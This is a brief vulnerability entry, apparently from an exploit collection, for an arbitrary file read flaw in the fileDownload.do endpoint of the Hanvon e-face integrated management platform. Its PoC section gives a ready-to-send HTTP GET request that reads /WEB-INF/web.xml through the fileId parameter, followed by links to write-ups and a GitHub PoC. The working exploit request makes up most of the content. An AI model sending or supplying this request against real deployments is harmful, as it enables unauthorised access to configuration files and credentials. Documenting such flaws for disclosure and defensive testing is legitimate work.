Description
汉王e脸通综合管理平台 fileDownload.do 存在任意文件读取漏洞，攻击者可以根据该漏洞获取大量敏感信息。
汉王e脸通综合管理平台 fileDownload.do 任意文件读取漏洞
PoC
GET /manage/personnel/fileDownload.do?fileId=/WEB-INF/web.xml&recoToken=ZuZBOrvLG8M HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/hanvon-efacego-personnel-fileDownload-fileread.html
https://www.ddpoc.com/DVB-2025-9389.html
https://cn-sec.com/archives/4500266.html
https://github.com/Stone-One-1/HanWang-Arbitrary-file-reading-poc